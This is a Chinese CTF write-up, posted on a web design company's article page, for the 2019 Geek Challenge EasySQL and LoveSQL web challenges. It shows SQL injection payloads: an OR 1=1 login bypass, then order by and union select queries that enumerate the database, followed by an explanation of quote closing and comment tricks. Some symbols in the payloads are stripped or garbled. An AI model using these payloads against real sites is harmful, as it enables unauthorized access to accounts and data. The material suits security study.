尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

【WP】ctf-web-[极客大挑战 2019]EasySQL+LoveSQL

【WP】ctf-web-[极客大挑战 2019]EasySQL+LoveSQL EasySQL简简简简单单单单SQL尝试?usernameadmin%27OR1%3D1±-password1报错# You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘1’’ at line 1分析1‘左边差一个单引号输入正确payload?usernameadmin%27OR1%3D1±-password%271成功LoveSQL简简简单单单SQL?usernameadmin%27OR1%3D1±-password%27这个MD5解不出来是烟雾弹尝试SQL注入 尝试在username参数上使用union select查询?usernameadmin order by 3 -- -password123(order by 4时候报错3列)?usernameadmin union select 1,2,3 -- -password123(2,3)?usernameadmin union select 1,database(),3 -- -password123……基本查询操作之后得到flag知识点SQL注入原理简要说明SQL注入是一种常见的Web安全漏洞攻击者通过在用户输入中插入恶意SQL代码欺骗后端数据库执行非预期的SQL命令。理解SQL注入的关键在于掌握单引号闭合和注释符的作用。单引号闭合原理在SQL查询中字符串值通常用单引号包裹例如SELECT*FROMusersWHEREusernameadminANDpassword123如果用户输入admin OR 11 --查询语句会变成SELECT*FROMusersWHEREusernameadminOR11-- AND password 123这里的用于闭合原本包裹用户名的前单引号使OR 11成为查询条件的一部分。注释符的作用--或#是SQL中的单行注释符它会注释掉其后的所有内容。在上面的例子中--注释掉了原本的 AND password 123部分使得密码验证条件失效。Payload构造逻辑理解了这两个原理就能明白为什么常见的SQL注入payload这样构造admin OR 11 --用闭合前单引号添加永真条件OR 11再用--注释掉后续查询admin --用闭合前单引号直接注释掉密码验证部分这种构造方式可以绕过原本的身份验证逻辑实现未授权访问。
返回列表